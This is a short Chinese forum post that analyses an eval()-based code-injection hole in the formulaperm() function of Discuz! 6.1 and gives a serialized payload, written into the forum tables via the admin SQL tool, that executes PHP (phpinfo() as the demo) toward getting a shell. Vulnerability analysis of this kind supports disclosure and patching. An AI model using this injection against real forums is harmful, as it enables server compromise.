事因!前几天dz那补丁补了style.in.php那个拿shell的洞,加上网上流传版主的那方可以拿shell的传闻所以看了看代码!在global.func.php中的formulaperm()函数
function formulaperm($formula, $type = 0) { global $_DSESSION, $extcredits, $formulamessage, $usermsg, $forum, $language;
if((!$formula || $_DSESSION['adminid'] == 1 || $forum['ismoderator']) && !$type) { return; } echo "@@".$formula."@@@@@@@@@@@@@@@@@@@@@@@"; //test $formula = unserialize($formula);$formula = $formula[1]; if(!$formula) { return; } @eval("\$formulaperm = ($formula) ? TRUE : FALSE;"); //注意!
.............................................................
formulaperm()函数在forumdisplay.php中有用到!
if($forum['redirect']) { dheader("Location: $forum[redirect]"); } elseif($forum['type'] == 'group') { dheader("Location: {$indexname}?gid=$fid"); } elseif(empty($forum['fid'])) { showmessage('forum_nonexistence', NULL, 'HALTED'); }
...............................................
if($forum['viewperm'] && !forumperm($forum['viewperm']) && !$forum['allowview']) { showmessage('forum_nopermission', NULL, 'NOPERM'); } elseif ($forum['formulaperm']) { formulaperm($forum['formulaperm']); //----------执行了 }
利用,进了后台之后用执行sql的功能更新相关数据$forum来自cdb_forumfields 和cdb_forums 表
注意上面列出的相关字段构造条件,最后执行
注:$forum['formulaperm']=a:2:{i:0;s:2:"aa";i:1;s:9:"phpinfo()";}
不知前人有没发过其实方法大牛们早就知道了,本人测试的是6.1版,7点几没试,大家可以看下代码!
|